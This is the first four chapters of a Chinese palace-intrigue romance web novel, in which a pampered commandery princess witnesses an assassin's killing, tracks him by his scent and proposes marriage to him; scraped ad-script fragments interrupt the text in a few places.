《十五夜观灯》 1. 第 1 章 夜凉如水,春寒料峭。 京城最大的夜坊灯火通明,歌舞升平,管弦丝竹声不绝于耳。 粉衣侍女们端着高足盘,谨慎地穿梭在帷幔和人群中。从顶端垂下的细长珠帘,被夜坊烛火浸出琉璃金光的色泽。 此时正是京中贵人恒舞酣歌的时候。 “抓住你了——” 锦衣男子出声调笑,他眼底青黑虚浮,伸手随意抓住一位容貌尚佳的侍女,意图将对方拉入怀中。 侍女被他的动作惊扰,秀眉微蹙,眸中有半刹冷漠划过,似和普通侍女不大相同。只是那刹冷漠很快被垂下的眼帘遮挡,叫人看不清。 男子没料到一个柔弱侍女竟有如此力气,竟叫他拉扯不得,故而再次使了七分力,才将侍女拽到自己面前。 酒盏掉落在厚重地毯上,棕红地毯被液体濡湿,显出一块斑驳重色。闷重的撞击声被湮灭,唯有男子的油腔滑调清晰入耳。 男人抬手使力,侍女挣扎时发髻零散绢花掉落,好像在昭示她不久凄惨的命运。 她抬眸,同锦衣男子充满暗示性的目光对上。 周遭的公子小姐对此视若无睹,同行侍女心有余而力不足,不敢管这等闲事,头也不回匆匆离开。 毕竟若说长影街是京城最危险的地方,那么夜坊则是最肮脏龌龊之处。 在这里,权贵便是天。 清楚这点的小侍女似乎感到绝望,她的手臂正要环上男子脖颈。 下一瞬,充满冷漠的呵斥声从左上方传来。 只见一位容色姝丽的姑娘正低头望着这边。 她穿着对襟交领绣花裙,金丝勾勒而成的纹路在光线下若隐若现。璎珞戴于胸前,满身贵气毫不遮掩,额前两点朱红花钿将无害的眼眸衬出三分锐利。 簪上坠金流苏闪烁着冰冷光亮。 在场之人见到她,皆是一惊。 毕竟帝京上层贵人谁能不识华梨。 这位大小姐生母乃是当朝长公主华映月,生父当年也是赫赫有名的将军,只可惜英年早逝。 长公主与驸马伉俪情深,驸马逝世后,长公主并未过多沉溺伤痛,她将更多精力投入经营当中,使华梨虽只是郡主,却比皇子皇女要高上几分。 平日其他人遇到华梨,都会让她三分。 底楼锦衣男子恰好是个例外。 他此番初次回京,尚且未有认全京中人士。 男子思索着:眼前女子并非宫中公主,想来再如何尊贵,也不及今日为他设宴之人。 他被落了面子,加之不识华梨身份,遂开口:“怎么,小美人你也想加入不成?” 那轻佻而不尊重的语气,华梨尚未开口,她身后的侍女已然替她回话:“放肆!” 侍女满脸怒容,声音同刚才呵止男子的声音一致,而华梨这个主子从头到尾都未有开口,神情都未曾变动,只在听到男子调笑的时候,莫名地笑了一下。 笑容极淡,旋即,她开口: “加入?” 她踩着台阶走到男子面前,腰间琳琅佩饰随着下楼的动作,发出细微响动。 华梨微弯腰,璎珞明晃晃垂下,中间镶嵌的石榴红珠映衬出男子的脸。 “你算个什么东西。” 她语气淡淡,仿佛刚才说出口的不是一句极具嘲讽性的话语。 这种忽视性极强的态度成功惹怒男子,他站起身打算教训华梨,却不知是何原因身形踉跄,向前跌倒在地。 侍女也紧跟着站起来,或许是因动作慌乱,不觉撞到左侧小几,匆忙间,她没能扶住酒盏,盏中紫红色的果酿尽数洒落在男子身上。 原本气氛凝滞的夜坊,不知是哪个小姐先笑出了声。 华梨眼中带着戏谑,宛若纨绔,抬起脚踢了踢地上躺着的男子,声音缓缓:“若管不了□□三寸,不如去宫中当个太监,说不定还能得到我舅舅的重用。” 男子正火冒三丈,听出话中她的身份,霎时敢怒不敢言。 他确实不认识华梨,却听宫人提起过华梨。 娇纵蛮横,不能得罪。 华梨并未施舍更多眼神于他,一旁惶恐不安的侍女千恩万谢,始终不敢抬眼看华梨,只怯懦地垂首。 说来也是奇怪,华梨在女子中已算高挑,比起这位侍女却仍有些矮。 多看几眼侍女后,华梨本打算离开,路过侍女身边时被一种特殊香气勾住脚步,突然发问: “……你用的什么香?” 她自幼嗅觉敏锐,刚才同男子对峙时,便从刺鼻的酒味中闻到一股若有若无的清香。 那种香带有轻微苦涩,涩中夹杂粘稠的甜腻味,宛若雨里被碾碎在地的花。 华梨凑到侍女脸边,眼神好奇地望着侍女,距离比刚才的男子有过之而无不及。 因距离太近,华梨看清了侍女的眼。 那是双极为清冷的眼,眼型狭长,眼尾上挑,本该极具攻击性。 侍女本人却格外胆怯的模样。她身体僵硬不敢推搡华梨,更不敢同华梨对视。她不住侧过惨白的脸,羽睫纤长,轻轻遮住眸中深色,连呼吸也放的极轻:“是夜坊中统一配制的……奴、奴婢也不知道。” 骗人。 面对结结巴巴的侍女,华梨心中浮现这两个字。 她没拆穿侍女的假话,不过一时对这股香味来了兴致,这会兴致去了,她自然不会在意追问。 不再看侍女,华梨心知自己今日为这个侍女出头,来日对方未必好过,故而华梨早已在二楼吩咐身边人打点好。 若对方愿意,便来她府上。 如若不愿,她也会给一笔丰厚的钱财。 倒不是华梨有多好心,只是她为这名侍女出过头,便不能忍受这侍女日后在她眼皮子底下还遭人欺负。 京中人说她霸道无礼、纨绔嚣张,也不是空穴来风。 想着,华梨目光移到木桌上另一杯酒酿,素手拿起杯身,将酒酿从上方浇至男子头顶:“长公主府。要找麻烦就找那里去,别找错人了。” 她指甲修的圆润,染上豆蔻颜色。 察觉到小侍女在看她的指尖,华梨挑眉回望,侍女却在她回望的瞬间收走目光,不落半点痕迹。 正当她打算开口时,楼外匆匆走进五皇子华钧,对方甫一进入,就向华梨赔笑:“阿梨,真是抱歉。” 不等华梨做什么反应,他率令人先将锦衣男人带走,又命手下安抚侍女。 “今日本意是为恭喜你取得书院榜首,加之早些日子,你曾说对乐坊感兴趣,谁料出了这样的意外。” 华梨见到华钧,才觉晦气。 她从侍女手上接过手帕,慢条斯理擦净手。期间不语,显然要给华钧难堪。在场人见这架势,都不敢继续围观。毕竟华梨有本事同皇子叫嚣,他们却是没资格看人笑话。 围观人群逐渐散去,华梨将手帕扔到华钧怀中,笑不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 达眼底。 熟悉华梨的人都知道,她这般多半是不耐到了极致。 “我对夜坊感兴趣,同你将这件事办砸惹得我不快之间,有什么必然关系吗。” 明明是问句,华梨的声音却宛若淬了冰。 华钧心中一紧,急忙否认:“自然没有……” 华梨抬手,示意他闭嘴:“今日夜坊的宴会因你的疏忽,导致出现不该出现的人,从而败坏我的心情。” “这才是你该说的。” “而不是说什么,我对夜坊感兴趣。” 话罢,华梨头也不回地往外走,侍女不敢随意跟着华梨,皆在原地待命。 华钧一脸颓然,眸中尽数是懊恼,似乎没想到华梨竟无理取闹到如此程度。 · 夜坊外院,华梨绕开人群向后院走去。 今日之事若论愤然,华梨算不得多生气。可这些时日,华钧对她步步紧逼,她实在难以忍受。 借由这事,想来未来半月,华钧都不会再来她面前惹人烦。 长舒心中郁气,华梨随手扯过草木叶子。夜坊后院没有亮灯,华梨又未曾让人引路,并未注意自己越走越偏,等到回神时,已走到不知何处。 月色下,华梨秀眉微蹙,她耳垂下那对流苏珠坠是取明夜石细雕而成,夜间可见微微荧光,如夏日萤火。 又走几步,华梨顿住脚步。 凉风穿过回廊吹到她衣服上,冰凉绸缎贴近华梨身体,触感犹如被水鬼抓住手脚般,华梨侧过脸看着茫茫夜色,不禁一个寒颤。 虽已值初春,京城的天仍旧凉的很。 华梨出来时未拿披风,这会察觉到冷,又觉环境阴暗,不自觉想起曾经看过的志怪小说,心下不住埋怨华钧。 她就着月光撒下的银辉往回走,忽地听到左侧长廊有脚步声。华梨不想看到人,便停下脚步,借着圆柱遮挡身形。 夜坊后院多草木,尤其是在长廊,不点灯的情况下颇有森然之感。 半人高的树木已经冒出嫩芽,华梨往圆柱靠过去的时候恰好后背抵到树枝,痛感透过上衣传给华梨,华梨脚步微移,发觉发丝亦被繁杂的枝干勾住。 华梨没发出声音,蹙起的眉头已然昭示烦躁的心情,她伸手想要解开被缠绕的发丝。 就在这时,某种冰凉、锋利的武器划开□□的声音从左侧长廊传来。 华梨手指尚还搭在耳坠上——她向来没什么耐性,叫这桩事惹恼了,反而越解越乱,最后叫发丝勾住耳坠。 她边拆掉耳坠边侧眸看向长廊。 一双冰冷的眼眸同她对上。 那双眼睛的主人,正手持利剑。 而他的脚边躺着个生死未卜的人,华梨勉强通过月色判断出,流淌在地板上黑色的液体,是血。 “!” 乍一见到如此场面,华梨不禁愣在原地,琉璃耳坠从温热的指尖滑落在地。 寂静的后院,任何声音仿佛都被无限放大,华梨甚至可以听到耳坠滑过绸缎所发出的细微摩擦声。 从小培养的危机意识让华梨知道,她已经被对方看到身形,后院距离前院并不遥远,她只需要大叫,那群候着的侍从就能够立马赶到。 可华梨目光不受控制地上移。 惊呼声诡异地停在喉咙处被吞回肚里。 她再次同凶手对视,看到那双冷漠的眼眸。 那双她似乎,在哪里见过的眸子。 2. 第 2 章 华梨感觉自己似乎被某种不知名的情绪、亦或者其他东西控制。 她没办法对目前的状况做出任何反应。 仅直愣地盯住杀手薄情的眸,任凭好似雨夜春雷的心跳声快要将她淹没。 华梨确信,对方看见回廊中藏匿的自己,可对方没有半点行动。 一如她没有开口唤人。 于是华梨继续诡异、而固执地同杀手对视。 被夜风吹凉的脸蛋一点点回温,从声声催促的心跳到无法思考的头脑,苏麻感传遍华梨全身,激起她面上大片绯红。 这种陌生的感觉让华梨感到恐惧。 对面的杀手始终一动不动,若不是华梨上刻才目睹到对方杀人的景象,恐怕都要以为对方是尊精致的木雕。 夜风愈发冰凉急促,穿过草木与亭阁的缝隙发出尖锐可怖的呜咽声。 一声一声,催人逃离。 耳垂下的珠坠在夜色中散发温润的光泽。 华梨终于从那股莫名的情绪挣脱出来,她提起裙摆,撇过脸强迫自己不再注意夜色下的杀手。 汗津津的手心被风吹干,鞋底碰到地面时并未发出过大声响,华梨顾不得两鬓细发,心底有个声音在阻止她,叫她不能开口。 她被这股浓烈的情感扰乱思绪,又急于逃离现场。故而没有发觉,杀手的目光一直追随着那孤零零的耳坠。 凌乱的脚步声逐渐消失,前院欢声笑语隐约传到后院。 沈确握剑的手动了动。 他收回目光,继续冷漠盯着地上的尸体,心中不知在想着什么。 只半刻,长剑被沈确抛却。 任务已然完成,他没有待在这里的必要。 沈确心中道。 但没走几步,他顿住脚步折返到方才华梨藏匿的地方,静静看着华梨落下的耳坠。 半晌。 沈确目光移动在院中似乎在搜寻什么,没寻见想要的东西,他遂收回目光。 半蹲下身子,月光将他的影子拉扯。他用未沾染太多血的手从怀中掏出手帕,将地上的耳坠轻轻拾起。 沈确垂下眼帘,漂亮的眼睛里映衬出耳坠的形状。 这耳坠抵得上他一次悬赏的赏金了。 沈确合拢手掌收起东西。 这次他没再犹豫,几息之间,就已然离开夜坊。 · 华梨回到前院后意识到对方没有追上来,仓惶的步调逐渐慢下来,心中诡异的情绪也淡去不少。 她伸手碰了碰脸颊,企图用手背的凉意来降温。 思索着方才的感觉,华梨越想越是一头雾水,没有半点思路。 顺着石径小路,沿途仅出现端盘侍女,华梨目光落到灯火前面,却见华钧站在远处,一副等待她的模样。 华梨走上前依旧不等华钧开口,拧眉怒道:“现在、立刻,派人送我回长公主府!” 她平日固然嚣张,却鲜少有如此不明不白的命令。华钧自认熟谙华梨性子,猜想也许发生了什么。 他将手臂搭放的披风轻轻披到华梨身上,细声软语:“可是发生了什么?” 目光落至华梨左侧空荡荡的耳垂,他伸手想询问,被华梨侧脸躲过。 华钧皱眉,语气沉下来,带有稍许不愉: “我送你的耳坠怎少一个。” 耳坠是华钧送给华梨的生辰礼,显然华梨不记得了。 经过这么质问她才忆起。 华梨觉得莫名其妙,她扯掉华钧的披风扔到对方身上,华钧没接,披风顺着动作掉落在地。周围侍从静若寒蝉,谁都不敢动作。 她目光不善带着火气回道:“耳坠为什么丢?我倒是想问问你,今日这夜坊的戒备为何如此之差。” “后院有人行凶都未曾发觉。” 说到这里,华梨神色流露几分后怕。她不知为何那名杀手不动作,但她明白,若对方真心怀杀意,自己指不定凶多吉少。 等华钧看过来时,她再次恢复成往日那副颐指气使的模样:“要不是我运气好,恐怕连我也要遭受这趟无妄之灾。” 看见华钧不动,华梨登时又恼起来:“怎么?不信我?” 她发髻散乱不似平日从容,华钧反应过后,连吩咐侍卫前去后院,他则留下陪着受惊的华梨。 华钧斟酌用语,开口安抚华梨: “自然不是,只是听到这等消息,有些愕然没能反应过来。”他垂眼看着华梨纤长浓密的鸦黑的羽睫,这个角度能将华梨的表情一览无余。 面对华梨,华钧显然比常人要耐心的多。他露出讨好、试探性的笑:“阿梨没事就好,若今夜你在夜坊中出事,我难辞其咎。” 想到华梨刚才的要求,在对方即将失去耐心前他赶忙补充道:“我这就吩咐手下护送你回长公主府,今日之事且交由我处理,明日我再好好上门同你道歉。” 华梨见对方没有追问,嘲讽反问:“怎么,不怕我框你?不在意你那被我弄丢的耳坠子?” 她从没有像今夜这般狼狈,缓过危机后不觉怒从中来,见华钧这般逆来顺受,便将火气全都撒在他身上,语气冲的很。 又无辜挨华梨一声呛,华钧毫不生气。 他悉心将华梨送上马车,站在夜坊前目送马车走远。 跟在华钧身后的侍从忍不住开口: “殿下,这恐怕不妥。夜坊中人非富即贵,那人既能避开巡逻队动手,只怕身份不简单。若移交到大理寺处理……” 华钧慢悠悠收回那副笑脸模样,神色不明地摩挲大拇指上的玉扳指,屋檐悬挂而下的大红灯笼被风吹摇晃,明而昏黄的光落在他身上。 “你以为她真是无端发火?” 想着华梨方才的反应,华钧勾了勾唇。 只怕其中发生了什么,叫这位嚣张跋扈的表妹不愿对外吐露太多事情。 可究竟是什么呢…… 车轮碾过地面发出细碎的声音。 窗外的景色逐渐远去,华梨放下帘布,带动流苏微晃。 她可不知道华钧心里的弯弯绕绕。 右手漫不经心敲击沿木,华梨此刻才算真正冷静,在夜坊后院着魔般的反应暂且不提,她如今更在意的是自己卷入了凶杀案。 据她所知,京城长影街有一杀手组织,名唤影阁。 有钱能使鬼推磨,这句话在影阁就是最佳的证明。影阁中的杀手不会管自己要杀的人是达官显贵、还是皇权贵族。 只要钱足够,杀手就会接下悬赏。 最近这群杀手行动频繁,刑部和大理寺都头疼不已,偏偏长影街鱼龙混杂,而影阁说是组织,却没有固定落脚点。杀手从哪里接悬赏、如何接悬赏,这些都不得而知,更别提将其连根拔起。 思及此,华梨敛眉。 按当时的情况,这次的凶杀案极有可能是买凶杀人。如果再涉及到长影街,复杂程度可能又要上一层,届时就连她都要被“好好”问话。 只希望此事不要太过复杂,否则指不定会被谁借题发挥。她生平最烦的就是被卷入不必要的麻烦当中。 长公主自从将军逝世后便极少归家,大多时间跟着商队走南闯北。华梨已然习惯回到长公主府后只有侍从接应。 她走下马车将披风递给贴身侍女,“今日之事不必告诉母亲。” 华梨边往内院走边继续道:“派人打听打听今晚死的是谁,顺便留意长影街的消息……不,不用留意。” 她们本身同长影街无甚关系,若叫别人发现暗中私查一事,恐怕没关系也会叫朝堂上那群看不惯长公主的朝臣扯出关系来。 她虽在意今夜杀手的下落,可不至于被冲昏头脑到如此地步 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “只打听死的是谁,动作隐蔽些,莫叫人发现。” 如春应下,她是长公主为华梨挑选的的贴身侍女,做事稳妥,深的华梨信任,华梨有什么事都会直接交代给她。 主仆两人一前一后,等到华梨将事情吩咐完,如春才开口: “长公主寄来大半箱上好面料,说是天热起来,郡主您身上的衣服也该重做,锦衣阁的衣工明日就可过来。算算时间正好可以赶上十二日后的春宴。” 春宴又名游春宴。 顾名思义就是名门贵族的世家子聚在一起,或品诗作对,或赏景结缘。近些年大晏国都太平,春宴也愈发流行,若能在春宴里拔得头筹,也算是一件风光事。 华梨点头,表明自己知晓此事。 . 因夜里翻来覆去睡不着,华梨第二日起的也晚。 她迷迷糊糊任由侍女们打扮,全程都没睁过几次眼睛。初春外面天凉,华梨却喜欢辰时开窗通风,故而侍女们会在早晨烧着炭火,保持屋内温暖。 “郡主,今日佩戴哪对耳坠?” 华梨喜欢打扮,首饰也极多。听到问句才舍得睁眼扫一眼妆匣,素手指着玉兰花耳坠。 目光触及檀木桌面,华梨原本半闭着的眼睛睁大。 昨晚她丢掉的耳坠回来了。 她眯了眯眼,问道: “华钧来过?” “是的郡主,送了些东西,说是弥补昨夜郡主您受到的惊吓。” 华梨心中不知想到什么,面上流露出几分厌恶。 她将那对耳坠拿起扔给身边的侍女,“赏你了。” 在华梨身边伺候的侍女们都对此见怪不怪,长公主有钱,华梨也不会在意这些小物件,经常戴腻后赏给手底下的人。也是如此,长公主府里的下人都想来华梨身边伺候。 窗外鸟雀惊飞,华梨收回目光,任由侍女打扮。未曾注意屋檐传来的轻微响动。 锦衣阁的衣工上午就到了长公主府,华梨是中午才见的人。 衣工原本心有怨气,可长公主府给的钱多,府上下人也都是轻言细语不曾有怠慢或是轻视,本就是拿钱办事,她的不耐也少了几分。 直到见到华梨,衣工的怒气彻底消散。 倒不是别的原因,衣工就是喜欢长相漂亮的人。华梨长相精致身材高挑,气质也是一等一的好,站在避光处都是极为惹眼的存在。 于是衣工笑着迎了上去。 华梨看她几眼,点头:“劳烦了。” 衣工本有些担心华梨使小脾气,可全程下来华梨都无比配合,中途不仅夸她今日妆面画的好看,临走时还把手上的玉镯送她了…… 衣工离开长公主府的时候感觉脚步都是轻飘飘的。 来长公主府前,有同行让她小心华梨,说这位脾气嚣张又爱无理取闹,除了钱一无是处。她听多耳旁风自是对华梨没甚好印象,可现在衣工只想把那群乱嚼舌根的人臭骂一顿。 这位分明就是活菩萨! 到底是谁在造谣这么好的富家小姐?! 她心情极好,边哼歌边盘算今晚吃什么,华梨的这笔小费够她挥霍好几天。 正往巷口里走,衣工瞥见那个从不开口说话的小伙,心情颇好地打招呼:“嘿呀,小沈回来啦!” 抬手间她无意露出手腕上华梨今日给的手镯,发觉沈确盯着那手镯,衣工又挥了挥手,将手镯全貌露了出来: “长公主府知道吧?长公主的女儿,长阳郡主赏给我的。” “她可当真是人美心善啊。” 沈确沉默,想到了今天被华梨随手赏赐的耳坠。 就在衣工以为他会像往常一样不开口时,沈确终于说出自衣工认识她到现在的第一句话: “……财不外露。” 衣工:“……?” 3. 第 3 章 几日安然无事,华梨打听到在夜坊被刺杀之人的身份,是个五品官员。 陛下对京中官员横死一事极为震怒,下令彻查,却意外牵扯到贪污受贿之事。好在华梨仅在事后被盘问几句,并未被卷入更深的麻烦。 转眼春宴已至。 锦衣阁的衣服也按时送到。 华梨这次没穿浓色调的裙衫,她特意挑了件檀粉色襦裙,配饰一如既往的繁杂。因起的太早,在去宴会的路上华梨没忍住小憩一会。 宴会举办地在猎场外围的听雨园,那里春日景色美不胜收,除却草长莺飞还有高山流水,亭台楼阁错落分布,最适合春日游玩。 华梨掀开帘子打了个哈欠。 越是名门贵族规矩越是多,也更为注意仪态。可华梨不甚在意其他人怎么想,长公主自她幼年起只教过她如何享乐,皇帝舅舅对她亦是包容,普天之下,倒真没人敢教华梨规矩。 不过走个过场罢了。 春宴内禁止侍从跟随,华梨向如春摆摆手独身进内。 参加春宴的大多是华梨的书院同窗,见到华梨,或是真情或是假意地上前打招呼。但平日华梨大多时候冷着脸,若出现什么情绪,定是不耐或怒意,故而大家不敢同华梨走近,生怕触她霉头。 毕竟华梨是个有火就发的主,若被她当众落下面子,总归是难堪的。 没人敢同华梨同行,华梨乐得清静。 她寻得处空荡无人的亭阁,招呼侍女送些瓜果过来。华梨出身高贵,春宴中的名声对她不过是锦上添花,她参加与否全凭心情,上次春宴便是她拨得头筹。 咽下侍女剥好的橘瓣,华梨想道: 这次她可懒得出风头,不然又要传出她以权挟持其他人,用不正当手段夺得第一的传言。 她撑腮坐着,正无聊间。 华梨蓦然想到那夜见到的杀手,她并没有把那天的离奇感受告诉第二个人。但毕竟事关重大,华梨没有隐瞒其他的细节,譬如她曾和杀手对视并怀疑对方是那名侍女,至于为何对方不杀自己灭口,华梨解释也许对方害怕惹是生非。 大理寺对此并未过多怀疑。 思及此,华梨将手中的青瓷杯重重落到石质桌面上,闷重的物体碰撞音惊得小亭中伺候的侍从赶忙回神,呼吸都放轻不少。 没人敢主动说话,可每个人都在小心翼翼观察华梨的反应,不敢怠慢。 华梨白净纤细的手指指向一个侍女: “你,过来回答我的问题。” 被指到的侍女十分紧张,小步走到华梨面前。 华梨没在意侍女的心情,径直问道: “你什么时候会感觉紧张,脑袋一片空白?” 侍女一愣,好半晌没能说出话。 另外二人皆是不明所以。 华梨等了半天就快失去耐心,侍女不确定地开口:“……奴婢在害怕或者惊慌时会这样。” “还有呢?” 华梨当时是害怕不错,但她肯定,当时远有比害怕这种情绪更复杂的东西混入其中,才叫她一时间反应不过来。 她想印证那个猜测。 侍女一脸为难,像是再说不出什么。 于是华梨抬眼点了左侧侍从:“你来,说个和她不同的答案。” 华梨仍旧是木着一张脸,看不出喜怒,侍从犹犹豫豫终究是不敢惹华梨不耐:“看到心悦之人,也许也会这般?” 如今民风开放,谈婚论嫁皆非令人羞涩胆怯之事,侍从偏是个面皮薄的,对上华梨这般长相矜贵的高门贵女,只觉得这番话是冒犯,心中惴惴不安。 华梨斜睨他一眼,轻哼:“那你再说你喜欢她,会害怕她吗?” “这……这……”侍从说不出话。 他自然说不出个所以然,华梨这话问的蹊跷,他懵然不知如何回话。 心中却想:这种话题本该同闺阁好友谈论,只不过华梨没有罢了。 像他们这些个做下人的哪怕心中有答案,也不敢口无遮拦地讲出来,更何况是同华梨这种身份高贵、又喜怒无常的。 华梨猜想得不到什么有用的答案,她挥挥手命人撤下,自己一个人独处。 仰头看着顺着圆亭檐角垂下的苍葱枝叶,华梨得出答案。 她大概率对那个可疑、尚未认清脸、甚至不知是男是女的杀手,一见钟情。 唯有如此,自己当时的一系列反应才有合理解释。 之所以害怕,是因为担心自己被杀。 没有立刻叫唤侍卫前来是因不想对方被抓。 可偏偏诡异在这里。 一个见不得光的人,凭什么值得她一见钟情。 华梨不解,亦无人能解答她的疑惑。 收回望向檐角的目光,华梨将最后一瓣橘子丢进嘴里,漫不经心想道:改天找个驱鬼道士看看,说不定是身上有了脏东西。 正思索着。 一道尖叫声穿过亭台水榭,传到华梨待的地方,华梨循声望去,只见葱翠的景色中侍从们慌乱的模样。华梨走近便听到有人在说什么死人了。 仔细打听才知是个官员死在听雨园中,还是华梨认识的老熟人。 听着周遭人的讨论,华梨秀眉一挑,登即决定远离这处是非之地,不参与这件事。 那横死的官员应当在猎场和听雨园的交接处,不少人被那声尖叫吸引,正往这边靠拢。 而华梨往外走的动作不算明显。 她边走边想: 这当中指不定混有凶手。 但她不打算插手这件事。 忽的,华梨闻到了一抹细微的、特殊的味道。 那味道极淡,极冷。 是前不久华梨才闻到过的香味。 华梨蓦然侧过脸,就见一个身材高挑瘦弱的侍从正经过她身边。 对方其貌不扬,混在人群中也看不出什么特殊。低眉顺眼,又伏低做小,是属于华梨看几眼都记不住长相的那种人。 侍从走的极快,又混在一堆穿着打扮相似的侍从中,不过片刻就要不见身影。 华梨尚未反应过来,脚步早已追上去: “前面那群手上拿花瓶的,给我停下。” 走到这群侍从面前,华梨缓过来,有些恼怒语气亦不善,看似随手一指: “这个人留下,出了命案,本郡主身边没人跟着心中不安。” 为首侍从见华梨腰间玉佩,猜出华梨身份,不敢不应:“你跟在长阳郡主身边。” 华梨行为向来出人意料,这会倒不至于让人起疑。 被点到的侍从只好将玉瓶递给身侧人,跟在华梨身侧。 春宴中发生命案,闹的人心惶惶。 华梨沿着先前的路往园亭走,微侧眼看向左后方的侍从,确定那股若有若无的香气是从他身上传来。 华梨倒是没想到自己天生嗅觉敏锐竟能用在寻人方面。 二人抵达圆亭。 “抬头,看着我。” 听到华梨冷声命令,侍从犹豫片刻,终究抵不过她强硬的态度,缓缓抬头。 他的眼神尚未接 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 触到华梨,就被垂下的眼帘遮挡。 于是华梨凑到侍从跟前,强势地望向他的眼底。 任凭一个人如何乔装打扮,变换身份,他的眼神是无法改变的。 更何况对方不知是轻敌还是怎样,没有伪装体型,身上的浅香更逃不过华梨的鼻子。 对视半晌,华梨发出轻笑。 这笑多少有点不合时宜,仿佛是一个掺杂血色和陷阱的笑容,带着华梨天生的贵气和居高临上。 像是狩猎者对势在必得的猎物。 “你叫什么名字?” “……沈贰。” 华梨转身坐在石凳上单手支撑住半边脸,沉思片刻: “假名起的都这么不认真?就叫沈贰……是因为之前总是低眉顺眼,所以没被怀疑过身份吗?” “回郡主的话,这本就是小人的名字,小人家中爹娘没念过什么书,小人排行老二,就叫沈贰了。”那侍从辩解。 “所以你家老大叫沈壹还是叫沈大呢?” “……沈壹。” 听到回答,华梨嗤笑一声,不置可否。 春宴所在的听雨园和猎场相距极近,恰逢今日皇帝和几个皇子在猎场狩猎,听到春宴的消息,立马派遣官兵将整个园子围起来。 在华梨和“沈贰”谈话期间,已有官兵前来。 华梨看着那群人,悠闲道: “上次问你用的是什么香,你说是夜坊统一配置,我不信。这次能告诉我你用的是什么香吗?” 沈贰沉默不语,华梨追问: “让我猜猜,你两次伪装都败在这香气里,想来是体带异香,毕竟若不想惹人注意,身上总不该带有味道。只平日香味极淡,无人发觉,你便没有在意……” 华梨说了许多话,因为这次“沈贰”在劣势,华梨并不惧他。 反之,华梨想逗弄他。 可面前的人半点反应不给让华梨有些恼怒。 正当华梨要发火时,她看着面前男人逆来顺受的模样,想到最初的目的。 华梨收起脸上怒容。 她让“沈贰”半蹲下,这个视角使华梨得以俯视“沈贰”: “我知道你是夜坊中杀人的‘侍女’,这次的人也是你杀的。我不止能闻到你身上的香气,还能闻到血腥味。” 华梨的眼神在沈确身上游走一圈,最终定格在他右手袖口。 俯身素手将对方袖口拉开,几点猩红赫然出现在衣袖里侧。 华梨抬眸,同“沈贰”对视。 对方木楞老实的面容变幻,显露出冰冷宛若毒蛇的内在,他的眼神冷漠而阴凉,就那样不带任何感情的同华梨对视。 “你猜猜,你能逃出这里吗。” 华梨说话难得温吞,软热的呼吸尽数落在“沈贰”身上,这般近距离的观察让华梨发现对方瞳孔微缩。 她还注意到沈贰耳边微不可见的耳洞。 同“沈贰”拉开距离后,华梨移开目光看向十米开外的官兵。“沈贰”也注意到那群人,清楚自己目前的处境十分危险。 但并非无解。 “你想干什么?” 是和方才截然不同的声线。 极冷,不带感情。 华梨对上“沈贰”的眼神,只觉得心跳再次不受控制地加快,仿佛要溢出胸腔将自己淹灭。 凉亭外梨花正盛,如雪般绽放。 她听见自己的声音道: “我知道是你杀了人,但我看上你了。同我成亲,做我夫君,我能保你平安。” 4. 第 4 章 这话一出,华梨也觉得自己有些奇怪,可当再次看到他的眼睛,华梨心中想要得到对方的欲望更加强烈。 她一定要得到他。 华梨心想。 死去的大臣是皇帝早就想除去的朝廷害虫,上次入宫舅舅曾与她谈论过这件事,言语间透露要将人撤职的意味,只是碍于朝廷之间繁纷复杂的关系迟迟无法行动。 如今此人死去,于别人而言是好是坏华梨不知,但对皇帝舅舅来说,正好方便他的行动。 他大可借着调查死讯一由彻查其生前所作所为,打压那些不忠心的势力。 至于这个人到底为什么会死,被谁杀死,并不重要。 这些事华梨不会告诉沈确,也无需告诉。 一阵微风吹起华梨的衣袂,柔软的绸带轻拂过沈确面部。春日的阳光透过朱红的亭檐落在华梨的脸侧,华梨精致的面容一半藏匿在阴影中,一半浮在阳光表面,如同她这个人,叫沈确看不懂。 沈确并没有立刻回应华梨的话,他的话向来少的可怜,平日若是没有什么复杂的任务,他可以沉默十天半个月。 此刻面对华梨的逼问,沈确心中惊讶,面上无波无澜。因不知怎么回话,所以沈确依旧选择沉默到底。 “你是听不懂我说话吗?” 华梨语气变得不耐。 长公主曾调笑华梨,说她多亏生在富贵人家,就算惹是生非也能有人收拾烂摊子,否则以她这种性格如若身后没个做权势支撑,恐怕迟早要被人教训。 面对华梨将近苛责的质问,沈确依旧是死一般的沉默。 华梨目前还对沈确有极大兴趣,愿意给对方时间考虑,可不代表她能接受对方一直晾着自己。 “你是哑巴吗?” “……听懂了。” 沈确意识到华梨不耐,遂回道。 “那你的回答是什么?” 沈确再次陷入沉默,华梨忍了忍,没忍住。发火骂道: “给我滚。” 华梨本就没打算让沈确被抓。 她本以为主动递给对方能享受一辈子荣华富贵的机会,对方不可能不同意,谁料面前男人半点不领情。 长公主为她请过习武师傅,但华梨只学了个皮毛,对上沈确这种以杀人为生的人压根不够看,还没等她将人叫过来,沈确就能挟持她逃出生天。 故而她自然会主动把人放走。 沈确没动,抬起眼睛望向华梨,看的华梨愈发火大: 所以她为什么会看上这种人? “还不快点滚,难不成还要本郡主送你?不识好歹的东西!” 华梨咬牙切齿道。 华梨骂的难听,若是普通人定然会觉得受到侮辱,沈确情绪感知异于常人,这种话对他而言不痛不痒,他甚至想起衣工对华梨的评价。 心善。 沈确垂下眼帘慢半拍的想,华梨并不心善,她只是对任何事都不在意。 无论是被被丢下的耳坠、赏赐的手镯、还是现在放走他。 沈确走时带动微风从华梨身侧吹动,华梨又闻到他身上的淡香。 华梨静默了一会,气消了。 不过多时有内侍找到华梨,皇帝传唤她。 华梨不觉有异常。 当今皇帝名叫华烨,和长公主华映月乃一母同胞,二人关系甚笃。 好到什么程度? 华梨的生父苏文元苏将军去世后,皇帝在收归兵权时曾将一支精锐军队的调兵权交到长公主手上。 意思不言而喻—— 无论谁做这个皇帝,长公主在京城都能有立足之地。不止如此,华梨封号长阳,封地也在最富饶的南边沿海处,可谓受尽帝宠。 后来长公主忙于商业,皇帝便经常传召华梨入宫。 现今皇帝四十有二,下面十一个孩子,却并未立下储君,各方势力都想拉拢华梨。若能拉拢到华梨,就能得到华梨身后长公主的支持,储君之位也能多分胜算。 